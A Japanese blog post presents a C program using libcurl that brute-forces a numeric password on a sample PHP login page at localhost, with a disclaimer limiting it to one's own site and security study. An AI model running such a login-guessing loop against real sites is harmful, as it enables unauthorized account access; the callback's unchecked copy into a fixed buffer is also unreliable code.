ページ

2010年6月25日金曜日

[C言語][cURL] 総当り攻撃(ブルートフォースアタック)の例

このエントリーをはてなブックマークに追加

総当り攻撃(ブルートフォースアタック)とは?:
暗号解読方法のひとつで、可能な組み合わせを全て試すやり方。wikipedia参照


注意:
1.ご自身のページにアタックしてくだい。
2.簡単な作りになっているため、ご自分のページに合うように調整してください。
3.絶対に悪用しないでください。セキュリティの勉強用です。

cURLライブラリの使い方等は過去の記事をご覧ください。





//====================================
// Auth.php
//====================================
<?php

if($_POST['Auth'] === "12345"){
print("A".$_POST['Auth']);
}

?>

<form action="Auth.php" method="post">
<input type="password" name="Auth">
<input type="submit" value="send">
</form>





//====================================
// brute_force_attack.c
//====================================
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<curl/curl.h>

int flag;

size_t func(void *, size_t, size_t, void *);



int main(void){

char post[256];
size_t i = 0;

CURL * curl;
CURLcode res;

flag = 0;

curl = curl_easy_init();

while(1){

usleep(100);

sprintf(post, "Auth=%u", i);

curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/Auth.php");

/* POST METHOD Auth=[]を送る */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);

/* CALLBACK */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);

res = curl_easy_perform(curl);

printf("%u\r", i);

if(flag){
printf("\n");
break;
}

i++;
}

curl_easy_cleanup(curl);

return 0;
}



size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

char str[65536];

memcpy(str, ptr, size * nmemb);

if(str[0] == 'A'){
flag = 1L;
return 0L;
}

return nmemb;
}

0 件のコメント:

コメントを投稿